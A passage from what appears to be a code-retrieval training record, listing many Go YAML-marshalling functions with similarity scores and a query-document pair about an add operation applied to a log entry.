error) {\n\treturn u.String(), nil\n}", "func (r RetryConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyRetryConfig{\n\t\tOutput: r.Output,\n\t\tConfig: r.Config,\n\t}\n\tif r.Output == nil {\n\t\tdummy.Output = struct{}{}\n\t}\n\treturn dummy, nil\n}", "func (d LegacyDec) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}", "func (o *Output) MarshalYAML() (interface{}, error) {\n\tif o.ShowValue {\n\t\treturn withvalue(*o), nil\n\t}\n\to.Value = nil // explicitly make empty\n\to.Sensitive = false // explicitly make empty\n\treturn *o, nil\n}", "func (export WebAuthnDeviceExport) MarshalYAML() (any, error) {\n\treturn export.ToData(), nil\n}", "func (b ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(b), nil\n}", "func (r ParseKind) MarshalYAML() ([]byte, error) {\n\tif s, ok := interface{}(r).(fmt.Stringer); ok {\n\t\treturn yaml.Marshal(s.String())\n\t}\n\ts, ok := _ParseKindValueToName[r]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"invalid ParseKind: %d\", r)\n\t}\n\treturn yaml.Marshal(s)\n}", "func (d *DefaultOptions) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(d)\n}", "func Marshal(v interface{}) ([]byte, error) {\n\tvar buf bytes.Buffer\n\tenc := yaml.NewEncoder(&buf)\n\tenc.SetIndent(2)\n\terr := enc.Encode(v)\n\treturn buf.Bytes(), err\n}", "func (ss StdSignature) MarshalYAML() (interface{}, error) {\n\tpk := \"\"\n\tif ss.PubKey != nil {\n\t\tpk = ss.PubKey.String()\n\t}\n\n\tbz, err := yaml.Marshal(struct {\n\t\tPubKey string `json:\"pub_key\"`\n\t\tSignature string `json:\"signature\"`\n\t}{\n\t\tpk,\n\t\tfmt.Sprintf(\"%X\", ss.Signature),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bz), err\n}", "func (r *Regexp) MarshalYAML() (interface{}, error) {\n\treturn r.String(), nil\n}", "func asYaml(w io.Writer, m resmap.ResMap) error {\n\tb, err := m.AsYaml()\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = w.Write(b)\n\treturn err\n}", "func (o *OpenAPI3Options) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}", "func (k *Kluster) YAML() ([]byte, error) {\n\treturn yaml.Marshal(k)\n}", "func (o *OpenAPI3SchemaExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}", "func (key PublicKey) MarshalYAML() (interface{}, error) {\n\treturn key.String(), nil\n}", "func (cp *CertPool) MarshalYAML() (interface{}, error) {\n\treturn cp.Files, nil\n}", "func (c CompressionType) MarshalYAML() (interface{}, error) {\n\treturn compressionTypeID[c], nil\n}", "func (d *Discriminator) MarshalYAML() (interface{}, error) {\n\tnb := low2.NewNodeBuilder(d, d.low)\n\treturn nb.Render(), nil\n}", "func (d Document) MarshalYAML() (interface{}, error) {\n\treturn d.raw, nil\n}", "func MarshalYAML(v interface{}, extensions map[string]interface{}) (interface{}, error) {\n\tif len(extensions) == 0 {\n\t\treturn v, nil\n\t}\n\tmarshaled, err := yaml.Marshal(v)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar unmarshaled map[string]interface{}\n\tif err := yaml.Unmarshal(marshaled, &unmarshaled); err != nil {\n\t\treturn nil, err\n\t}\n\tfor k, v := range extensions {\n\t\tunmarshaled[k] = v\n\t}\n\treturn unmarshaled, nil\n}", "func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}", "func MarshalToYaml(obj runtime.Object, gv schema.GroupVersion) ([]byte, error) {\n\treturn MarshalToYamlForCodecs(obj, gv, clientsetscheme.Codecs)\n}", "func (b Bool) MarshalYAML() (interface{}, error) {\n\tif !b.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn b.value, nil\n}", "func (o *OpenAPI3ResponseExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}", "func (i Int) MarshalYAML() (interface{}, error) {\n\tif !i.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn i.value, nil\n}", "func (s *spiff) Marshal(node Node) ([]byte, error) {\n\treturn yaml.Marshal(node)\n}", "func (u *URL) MarshalYAML() (interface{}, error) {\n\tif u.url == nil {\n\t\treturn nil, nil\n\t}\n\treturn u.url.String(), nil\n}", "func (i ChannelName) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func (m OrderedMap[K, V]) MarshalYAML() ([]byte, error) {\n\tvar s yaml.MapSlice\n\tfor _, item := range m.ToSlice() {\n\t\ts = append(s, yaml.MapItem{\n\t\t\tKey: item.Key,\n\t\t\tValue: item.Value,\n\t\t})\n\t}\n\treturn yaml.Marshal(s)\n}", "func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.Duration.String(), nil\n}", "func (v *Int8) MarshalYAML() (interface{}, error) {\n\tif v.IsAssigned {\n\t\treturn v.Val, nil\n\t}\n\treturn nil, nil\n}", "func (schema SchemaType) MarshalYAML() (interface{}, error) {\n\treturn schema.String(), nil\n}", "func (m MixinDeclaration) MarshalYAML() (interface{}, error) {\n\tif m.Config == nil {\n\t\treturn m.Name, nil\n\t}\n\n\traw := map[string]interface{}{\n\t\tm.Name: m.Config,\n\t}\n\treturn raw, nil\n}", "func (d *WebAuthnDevice) MarshalYAML() (any, error) {\n\treturn d.ToData(), nil\n}", "func (u URL) MarshalYAML() (interface{}, error) {\n\tif u.URL != nil {\n\t\treturn u.String(), nil\n\t}\n\treturn nil, nil\n}", "func (ec EllipticCurve) MarshalYAML() (interface{}, error) {\n\treturn ec.String(), nil\n}", "func MarshalMetricsYAML(metrics pmetric.Metrics) ([]byte, error) {\n\tunmarshaler := &pmetric.JSONMarshaler{}\n\tfileBytes, err := unmarshaler.MarshalMetrics(metrics)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar jsonVal map[string]interface{}\n\tif err = json.Unmarshal(fileBytes, &jsonVal); err != nil {\n\t\treturn nil, err\n\t}\n\tb := &bytes.Buffer{}\n\tenc := yaml.NewEncoder(b)\n\tenc.SetIndent(2)\n\tif err := enc.Encode(jsonVal); err != nil {\n\t\treturn nil, err\n\t}\n\treturn b.Bytes(), nil\n}", "func (s *Spec020) Marshal() ([]byte, error) {\n\treturn yaml.Marshal(s)\n}", "func (f BodyField) MarshalYAML() (interface{}, error) {\n\treturn toJSONDot(f), nil\n}", "func (c Configuration) YAML() ([]byte, error) {\n\treturn yaml.Marshal(c)\n}", "func MarshalToYamlForCodecs(obj runtime.Object, gv schema.GroupVersion, codecs serializer.CodecFactory) ([]byte, error) {\n\tconst mediaType = runtime.ContentTypeYAML\n\tinfo, ok := runtime.SerializerInfoForMediaType(codecs.SupportedMediaTypes(), mediaType)\n\tif !ok {\n\t\treturn []byte{}, errors.Errorf(\"unsupported media type %q\", mediaType)\n\t}\n\n\tencoder := codecs.EncoderForVersion(info.Serializer, gv)\n\treturn runtime.Encode(encoder, obj)\n}", "func (r ReadUntilConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyReadUntilConfig{\n\t\tInput: r.Input,\n\t\tRestart: r.Restart,\n\t\tCheck: r.Check,\n\t}\n\tif r.Input == nil {\n\t\tdummy.Input = struct{}{}\n\t}\n\treturn dummy, nil\n}", "func (r Discriminator) MarshalYAML() (interface{}, error) {\n\tobj := make(map[string]interface{})\n\n\tobj[\"propertyName\"] = r.PropertyName\n\n\tif len(r.Mapping) > 0 {\n\t\tobj[\"mapping\"] = r.Mapping\n\t}\n\n\treturn obj, nil\n}", "func (v *VersionInfo) MarshalYAML() (interface{}, error) {\n\n\treturn &struct {\n\t\tSemVer string `yaml:\"semver\"`\n\t\tShaLong string `yaml:\"shaLong\"`\n\t\tBuildTimestamp int64 `yaml:\"buildTimestamp\"`\n\t\tBranch string `yaml:\"branch\"`\n\t\tArch string `yaml:\"arch\"`\n\t}{\n\t\tSemVer: v.SemVer,\n\t\tShaLong: v.ShaLong,\n\t\tBuildTimestamp: v.BuildTimestamp.Unix(),\n\t\tBranch: v.Branch,\n\t\tArch: v.Arch,\n\t}, nil\n}", "func Marshal(o interface{}) ([]byte, error) {\n\tj, err := json.Marshal(o)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshaling into JSON: %v\", err)\n\t}\n\n\ty, err := JSONToYAML(j)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error converting JSON to YAML: %v\", err)\n\t}\n\n\treturn y, nil\n}", "func ToYAML(v interface{}) ([]byte, error) {\n\treturn yaml.Marshal(v)\n}", "func (p *ServiceDefinition) Marshal() (string, error) {\n\toutput, err := yaml.Marshal(p)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(output), nil\n}", "func (date Date) MarshalYAML() (interface{}, error) {\n\tvar d = string(date)\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn nil, err\n\t}\n\treturn d, nil\n}", "func (v *Uint16) MarshalYAML() (interface{}, error) {\n\tif v.IsAssigned {\n\t\treturn v.Val, nil\n\t}\n\treturn nil, nil\n}", "func (m *MagmaSwaggerSpec) MarshalToYAML() (string, error) {\n\td, err := yaml.Marshal(&m)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(d), nil\n}", "func (c *Config) YAML() ([]byte, error) {\n\treturn yaml.Marshal(c)\n}", "func (s String) MarshalYAML() (interface{}, error) {\n\tif !s.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn s.value, nil\n}", "func (d DurationMinutes) MarshalYAML() (interface{}, error) {\n\tif !d.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn int(d.value / time.Minute), nil\n}", "func SortYAML(in io.Reader, out io.Writer, indent int) error {\n\n\tincomingYAML, err := ioutil.ReadAll(in)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"can't read input: %v\", err)\n\t}\n\n\tvar hasNoStartingLabel bool\n\trootIndent, err := detectRootIndent(incomingYAML)\n\tif err != nil {\n\t\tif !errors.Is(err, ErrNoStartingLabel) {\n\t\t\tfmt.Fprint(out, string(incomingYAML))\n\t\t\treturn fmt.Errorf(\"can't detect root indentation: %v\", err)\n\t\t}\n\n\t\thasNoStartingLabel = true\n\t}\n\n\tif hasNoStartingLabel {\n\t\tincomingYAML = append([]byte(CustomLabel+\"\\n\"), incomingYAML...)\n\t}\n\n\tvar value map[string]interface{}\n\tif err := yaml.Unmarshal(incomingYAML, &value); err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\n\t\treturn fmt.Errorf(\"can't decode YAML: %v\", err)\n\t}\n\n\tvar outgoingYAML bytes.Buffer\n\tencoder := yaml.NewEncoder(&outgoingYAML)\n\tencoder.SetIndent(indent)\n\n\tif err := encoder.Encode(&value); err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\t\treturn fmt.Errorf(\"can't re-encode YAML: %v\", err)\n\t}\n\n\treindentedYAML, err := indentYAML(outgoingYAML.String(), rootIndent, indent, hasNoStartingLabel)\n\tif err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\t\treturn fmt.Errorf(\"can't re-indent YAML: %v\", err)\n\t}\n\n\tfmt.Fprint(out, reindentedYAML)\n\treturn nil\n}", "func (s String) MarshalYAML() (interface{}, error) {\n\tif len(string(s)) == 0 || string(s) == `\"\"` {\n\t\treturn nil, nil\n\t}\n\treturn string(s), nil\n}", "func (vm ValidationMap) AsYAML() (string, error) {\n\tdata, err := yaml.Marshal(vm)\n\treturn string(data), err\n}", "func (bva BaseVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(bva.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: bva.AccountNumber,\n\t\tPubKey: getPKString(bva),\n\t\tSequence: bva.Sequence,\n\t\tOriginalVesting: bva.OriginalVesting,\n\t\tDelegatedFree: bva.DelegatedFree,\n\t\tDelegatedVesting: bva.DelegatedVesting,\n\t\tEndTime: bva.EndTime,\n\t}\n\treturn marshalYaml(out)\n}", "func Marshal(ctx context.Context, obj interface{}, paths ...string) (string, error) {\n\trequestYaml, err := yaml.MarshalContext(ctx, obj)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfile, err := parser.ParseBytes(requestYaml, 0)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// normalize the structure converting the byte slice fields to string\n\tfor _, path := range paths {\n\t\tpathString, err := yaml.PathString(path)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tvar byteSlice []byte\n\t\terr = pathString.Read(strings.NewReader(string(requestYaml)), &byteSlice)\n\t\tif err != nil && !errors.Is(err, yaml.ErrNotFoundNode) {\n\t\t\treturn \"\", err\n\t\t}\n\t\tif err := pathString.ReplaceWithReader(file,\n\t\t\tstrings.NewReader(string(byteSlice)),\n\t\t); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\treturn file.String(), nil\n}", "func (s *Schema) ToYAML() ([]byte, error) {\n\treturn yaml.Marshal(s)\n}", "func (va ClawbackVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(va.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: va.AccountNumber,\n\t\tPubKey: getPKString(va),\n\t\tSequence: va.Sequence,\n\t\tOriginalVesting: va.OriginalVesting,\n\t\tDelegatedFree: va.DelegatedFree,\n\t\tDelegatedVesting: va.DelegatedVesting,\n\t\tEndTime: va.EndTime,\n\t\tStartTime: va.StartTime,\n\t\tVestingPeriods: va.VestingPeriods,\n\t}\n\treturn marshalYaml(out)\n}", "func RunYaml(cmd *cobra.Command, args []string) {\n\tc := LoadOperatorConf(cmd)\n\tp := printers.YAMLPrinter{}\n\tutil.Panic(p.PrintObj(c.NS, os.Stdout))\n\tutil.Panic(p.PrintObj(c.SA, os.Stdout))\n\tutil.Panic(p.PrintObj(c.Role, os.Stdout))\n\tutil.Panic(p.PrintObj(c.RoleBinding, os.Stdout))\n\tutil.Panic(p.PrintObj(c.SAEndpoint, os.Stdout))\n\tutil.Panic(p.PrintObj(c.RoleEndpoint, os.Stdout))\n\tutil.Panic(p.PrintObj(c.RoleBindingEndpoint, os.Stdout))\n\tutil.Panic(p.PrintObj(c.ClusterRole, os.Stdout))\n\tutil.Panic(p.PrintObj(c.ClusterRoleBinding, os.Stdout))\n\tnoDeploy, _ := cmd.Flags().GetBool(\"no-deploy\")\n\tif !noDeploy {\n\t\tutil.Panic(p.PrintObj(c.Deployment, os.Stdout))\n\t}\n}", "func toYAML(v interface{}) string {\n\tdata, err := yaml.Marshal(v)\n\tif err != nil {\n\t\t// Swallow errors inside of a template.\n\t\treturn \"\"\n\t}\n\n\treturn strings.TrimSuffix(string(data), \"\\n\")\n}", "func (d *Dataset) YAML() (string, error) {\n\tback := d.Dict()\n\n\tb, err := yaml.Marshal(back)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(b), nil\n}", "func TestYAML(t *testing.T) {\n\tyamls := []string{\n\t\tnamespaceYAMLTemplate,\n\t\topenShiftSCCQueryYAMLTemplate,\n\t\tcustomResourceDefinitionYAMLv1,\n\t}\n\tfor i, yamlData := range yamls {\n\t\t// jsonData, err := yaml.YAMLToJSON([]byte(yamlData))\n\t\t_, err := yaml.YAMLToJSON([]byte(yamlData))\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"expected constant %v to be valid YAML\", i)\n\t\t}\n\t\t// fmt.Printf(\"json: %v\", string(jsonData))\n\t}\n}", "func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}", "func toYamlString(resource interface{}) string {\n\tdata, err := yaml.Marshal(resource)\n\tif err != nil {\n\t\treturn err.Error()\n\t}\n\treturn string(data)\n}", "func (d DurationMillis) MarshalYAML() (interface{}, error) {\n\tif !d.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn int(d.value / time.Millisecond), nil\n}", "func (v Values) YAML() (string, error) {\n\tb, err := yaml.Marshal(v)\n\treturn string(b), err\n}", "func (s SensitiveString) MarshalYAML() (interface{}, error) {\n\treturn s.String(), nil\n}" ]
[ "0.7026864", "0.69467264", "0.6911066", "0.68808496", "0.6858217", "0.67913705", "0.67124516", "0.6663839", "0.66309625", "0.6528727", "0.65148884", "0.64881617", "0.64869624", "0.64519477", "0.6439299", "0.6438476", "0.6421638", "0.6419201", "0.64158183", "0.6402723", "0.6402723", "0.639309", "0.6380078", "0.6343673", "0.63424945", "0.63386756", "0.633298", "0.6314868", "0.6305636", "0.6305636", "0.6302812", "0.6300555", "0.63003254", "0.6299024", "0.6291035", "0.6278837", "0.6274473", "0.6274473", "0.6223114", "0.6203032", "0.6199917", "0.6169554", "0.616874", "0.6162514", "0.61557025", "0.6148514", "0.6124712", "0.6116719", "0.6109687", "0.61044914", "0.6093537", "0.6077035", "0.6063988", "0.6058892", "0.60530686", "0.6047914", "0.6046455", "0.60409826", "0.60022604", "0.6000437", "0.600018", "0.59892493", "0.59871376", "0.5985087", "0.594428", "0.5907819", "0.58625627", "0.5844023", "0.5839831", "0.5834746", "0.5827708", "0.5776981", "0.5770588", "0.57563543", "0.56974185", "0.56954694", "0.5673347", "0.56529325", "0.5649113", "0.5590763", "0.55663973", "0.55536926", "0.55249405", "0.5497144", "0.54730844", "0.54612607", "0.545649", "0.5451517", "0.54391223", "0.5434765", "0.54292566", "0.5423396", "0.5422428", "0.54215723", "0.54215014", "0.5419778", "0.5413556", "0.5409701", "0.5378071", "0.53764504" ]
0.78069997
0
Apply will perform the add operation on an entry
func (op *OpAdd) Apply(e *entry.Entry) error { switch { case op.Value != nil: err := e.Set(op.Field, op.Value) if err != nil { return err } case op.program != nil: env := helper.GetExprEnv(e) defer helper.PutExprEnv(env) result, err := vm.Run(op.program, env) if err != nil { return fmt.Errorf("evaluate value_expr: %s", err) } err = e.Set(op.Field, result) if err != nil { return err } default: // Should never reach here if we went through the unmarshalling code return fmt.Errorf("neither value or value_expr are are set") } return nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (a *Add) Apply(data []byte) ([]byte, error) {\n\tinput := convert.SliceToMap(strings.Split(a.Path, \".\"), a.composeValue())\n\tvar event interface{}\n\tif err := json.Unmarshal(data, &event); err != nil {\n\t\treturn data, err\n\t}\n\n\tresult := convert.MergeJSONWithMap(event, input)\n\toutput, err := json.Marshal(result)\n\tif err != nil {\n\t\treturn data, err\n\t}\n\n\treturn output, nil\n}", "func (s *Set) Add(e *spb.Entry) error {\n\tif e == nil {\n\t\ts.addErrors++\n\t\treturn errors.New(\"entryset: nil entry\")\n\t} else if (e.Target == nil) != (e.EdgeKind == \"\") {\n\t\ts.addErrors++\n\t\treturn fmt.Errorf(\"entryset: invalid entry: target=%v/kind=%v\", e.Target == nil, e.EdgeKind == \"\")\n\t}\n\ts.addCalls++\n\tsrc := s.addVName(e.Source)\n\tif e.Target != nil {\n\t\ts.addEdge(src, edge{\n\t\t\tkind: s.enter(e.EdgeKind),\n\t\t\ttarget: s.addVName(e.Target),\n\t\t})\n\t} else {\n\t\ts.addFact(src, fact{\n\t\t\tname: s.enter(e.FactName),\n\t\t\tvalue: s.enter(string(e.FactValue)),\n\t\t})\n\t}\n\treturn nil\n}", "func (r ApiGetHyperflexConfigResultEntryListRequest) Apply(apply string) ApiGetHyperflexConfigResultEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (s *Store) Add(ctx context.Context, key interface{}, v json.Marshaler) error {\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn ctx.Err()\n\tdefault:\n\t}\n\n\tb, err := v.MarshalJSON()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn ctx.Err()\n\tdefault:\n\t}\n\n\tif _, ok := s.m[key]; ok {\n\t\treturn store.ErrKeyExists\n\t}\n\n\ts.m[key] = entry{data: b}\n\treturn nil\n}", "func (c *EntryCache) add(e *Entry) error {\n\thashes, err := allHashes(e, c.hashes)\n\tif err != nil {\n\t\treturn err\n\t}\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\tif _, present := c.entries[e.name]; present {\n\t\t// log or fail...?\n\t\tc.log.Warning(\"[cache] Overwriting cache entry '%s'\", e.name)\n\t} else {\n\t\tc.log.Info(\"[cache] Adding entry for '%s'\", e.name)\n\t}\n\tc.entries[e.name] = e\n\tfor _, h := range hashes {\n\t\tc.lookupMap[h] = e\n\t}\n\treturn nil\n}", "func (this *ObjectAdd) Apply(context Context, first, second, third value.Value) (value.Value, error) {\n\n\t// Check for type mismatches\n\tif first.Type() == value.MISSING || second.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if first.Type() != value.OBJECT || second.Type() != value.STRING {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\tfield := second.Actual().(string)\n\n\t// we don't overwrite\n\t_, exists := first.Field(field)\n\tif exists {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\t// SetField will remove if the attribute is missing, but we don't\n\t// overwrite anyway, so we might just skip now\n\tif third.Type() != value.MISSING {\n\t\trv := first.CopyForUpdate()\n\t\trv.SetField(field, third)\n\t\treturn rv, nil\n\t}\n\treturn first, nil\n}", "func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\n\t// Has entry?\n\tif len(apply.entries) == 0 {\n\t\treturn\n\t}\n\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\n\tfirsti := apply.entries[0].Index\n\tif firsti > gmp.appliedi+1 {\n\t\tlogger.Panicf(\"first index of committed entry[%d] should <= appliedi[%d] + 1\", firsti, gmp.appliedi)\n\t}\n\t// Extract useful entries.\n\tvar ents []raftpb.Entry\n\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\n\t\tents = apply.entries[gmp.appliedi+1-firsti:]\n\t}\n\t// Iterate all entries\n\tfor _, e := range ents {\n\t\tswitch e.Type {\n\t\t// Normal entry.\n\t\tcase raftpb.EntryNormal:\n\t\t\tif len(e.Data) != 0 {\n\t\t\t\t// Unmarshal request.\n\t\t\t\tvar req InternalRaftRequest\n\t\t\t\tpbutil.MustUnmarshal(&req, e.Data)\n\n\t\t\t\tvar ar applyResult\n\t\t\t\t// Put new value\n\t\t\t\tif put := req.Put; put != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[put.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", put.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get key, value and revision.\n\t\t\t\t\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\n\t\t\t\t\t// Get map and put value into map.\n\t\t\t\t\tm := set.get(put.Map)\n\t\t\t\t\tm.put(key, value, revision)\n\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\n\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\treturn true\n\t\t\t\t\t})\n\t\t\t\t\t// Set apply result.\n\t\t\t\t\tar.rev = revision\n\t\t\t\t}\n\t\t\t\t// Delete value\n\t\t\t\tif del := req.Delete; del != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[del.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", del.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map and delete value from map.\n\t\t\t\t\tm := set.get(del.Map)\n\t\t\t\t\tif pre := m.delete(del.Key); nil != pre {\n\t\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\n\t\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Update value\n\t\t\t\tif update := req.Update; update != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[update.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", update.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map.\n\t\t\t\t\tm := set.get(update.Map)\n\t\t\t\t\t// Update value.\n\t\t\t\t\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\n\t\t\t\t\tif ok {\n\t\t\t\t\t\t// The revision will be set only if update succeed\n\t\t\t\t\t\tar.rev = e.Index\n\t\t\t\t\t}\n\t\t\t\t\tif nil != pre {\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Trigger proposal waiter.\n\t\t\t\tgm.wait.Trigger(req.ID, &ar)\n\t\t\t}\n\t\t// The configuration of gmap is fixed and wil not be synchronized through raft.\n\t\tcase raftpb.EntryConfChange:\n\t\tdefault:\n\t\t\tlogger.Panicf(\"entry type should be either EntryNormal or EntryConfChange\")\n\t\t}\n\n\t\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\n\t}\n}", "func (s *Service) Add(r *http.Request, args *AddEntryArgs, result *AddResponse) error {\n\tif args.UserID == \"\" {\n\t\tresult.Message = uidMissing\n\t\treturn nil\n\t}\n\tentryType := args.Type\n\tif entryType == \"\" {\n\t\tresult.Message = \"Entry type is missing\"\n\t\treturn nil\n\t} else if (entryType != EntryTypePim) && (entryType != EntryTypeBookmark) && (entryType != EntryTypeOrg) {\n\t\tresult.Message = \"Unknown entry type\"\n\t\treturn nil\n\t}\n\tcontent := args.Content\n\tif content == \"\" {\n\t\tresult.Message = \"Empty content not allowed\"\n\t\treturn nil\n\t}\n\ts.Log.Infof(\"received '%s' entry: '%s'\", entryType, content)\n\n\tcoll := s.Session.DB(MentatDatabase).C(args.UserID)\n\n\tentry := Entry{}\n\tmgoErr := coll.Find(bson.M{\"content\": content}).One(&entry)\n\tif mgoErr != nil {\n\t\tif mgoErr.Error() == MongoNotFound {\n\t\t\tentry.Type = args.Type\n\t\t\tentry.Content = content\n\t\t\ttags := args.Tags\n\t\t\tif len(tags) > 0 {\n\t\t\t\tvar lowerTags []string\n\t\t\t\tfor _, tag := range tags {\n\t\t\t\t\tlowerTags = append(lowerTags, strings.ToLower(tag))\n\t\t\t\t}\n\t\t\t\ttags := lowerTags\n\t\t\t\tentry.Tags = tags\n\t\t\t}\n\t\t\tif args.Scheduled != \"\" {\n\t\t\t\tscheduled, err := time.Parse(DatetimeLayout, args.Scheduled)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tentry.Scheduled = scheduled\n\t\t\t}\n\t\t\tif args.Deadline != \"\" {\n\t\t\t\tdeadline, err := time.Parse(DatetimeLayout, args.Deadline)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tentry.Deadline = deadline\n\t\t\t}\n\n\t\t\tnow := time.Now()\n\t\t\tentry.AddedAt = now\n\t\t\tentry.ModifiedAt = now\n\n\t\t\tif args.Priority != \"\" {\n\t\t\t\trexp, err := regexp.Compile(\"\\\\#[A-Z]$\")\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err) // sentinel, should fail, because such error is predictable\n\t\t\t\t}\n\t\t\t\tif rexp.Match([]byte(args.Priority)) {\n\t\t\t\t\tentry.Priority = args.Priority\n\t\t\t\t} else {\n\t\t\t\t\tresult.Message = \"Malformed priority value\"\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif args.TodoStatus != \"\" {\n\t\t\t\tentry.TodoStatus = strings.ToUpper(args.TodoStatus)\n\t\t\t}\n\n\t\t\tif (PostMetadata{}) != args.Metadata {\n\t\t\t\tentry.Metadata = args.Metadata\n\t\t\t}\n\n\t\t\tentry.UUID = uuid.NewV4().String()\n\t\t\tmgoErr = coll.Insert(&entry)\n\t\t\tif mgoErr != nil {\n\t\t\t\ts.Log.Infof(\"failed to insert entry: %s\", mgoErr.Error())\n\t\t\t\tresult.Message = fmt.Sprintf(\"failed to insert entry: %s\", mgoErr.Error())\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tresult.Message = entry.UUID\n\t\t\treturn nil\n\t\t}\n\t\ts.Log.Infof(\"mgo error: %s\", mgoErr)\n\t\tresult.Message = fmt.Sprintf(\"mgo error: %s\", mgoErr)\n\t\treturn nil\n\t}\n\tresult.Message = \"Already exists, skipping\"\n\treturn nil\n}", "func (r *Report) addEntry(key string, suppressedKinds []string, kind string, context int, diffs []difflib.DiffRecord, changeType string) {\n\tentry := ReportEntry{\n\t\tkey,\n\t\tsuppressedKinds,\n\t\tkind,\n\t\tcontext,\n\t\tdiffs,\n\t\tchangeType,\n\t}\n\tr.entries = append(r.entries, entry)\n}", 